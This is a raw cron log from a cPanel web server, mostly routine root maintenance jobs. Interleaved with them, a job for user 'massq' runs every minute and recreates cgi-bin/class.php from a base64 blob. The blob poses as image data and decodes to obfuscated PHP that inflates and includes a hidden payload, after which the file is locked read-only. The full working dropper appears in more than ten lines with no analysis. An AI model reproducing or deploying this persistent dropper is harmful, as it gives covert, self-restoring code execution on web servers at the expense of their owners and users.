Sep 11 11:20:01 server CROND[26644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:20:01 server CROND[26649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:20:01 server CROND[26646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:20:01 server CROND[26643]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:20:01 server CROND[26645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:20:01 server CROND[26641]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:21:01 server CROND[27576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:21:01 server CROND[27577]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:21:01 server CROND[27579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:22:01 server CROND[27966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:22:01 server CROND[27967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:22:01 server CROND[27968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:23:01 server CROND[28340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:23:01 server CROND[28341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:23:01 server CROND[28342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:24:01 server CROND[28718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:24:01 server CROND[28719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:24:01 server CROND[28720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:25:01 server CROND[29089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:25:01 server CROND[29092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:25:01 server CROND[29093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:25:01 server CROND[29095]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:25:01 server CROND[29096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:25:01 server CROND[29094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:25:01 server CROND[29097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:26:01 server CROND[29915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:26:01 server CROND[29916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:26:01 server CROND[29917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:27:01 server CROND[30283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:27:01 server CROND[30284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:27:01 server CROND[30285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:27:01 server CROND[30286]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 11:28:01 server CROND[30828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:28:01 server CROND[30830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:28:01 server CROND[30829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:29:01 server CROND[31202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:29:01 server CROND[31203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:29:01 server CROND[31204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:30:01 server CROND[31575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 11:30:01 server CROND[31576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 11:30:01 server CROND[31577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 11:30:01 server CROND[31578]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 11:30:01 server CROND[31581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:30:01 server CROND[31582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 11:30:01 server CROND[31580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:30:01 server CROND[31584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:31:01 server CROND[32425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 11:31:01 server CROND[32426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 11:31:01 server CROND[32427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 11:32:01 server CROND[350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
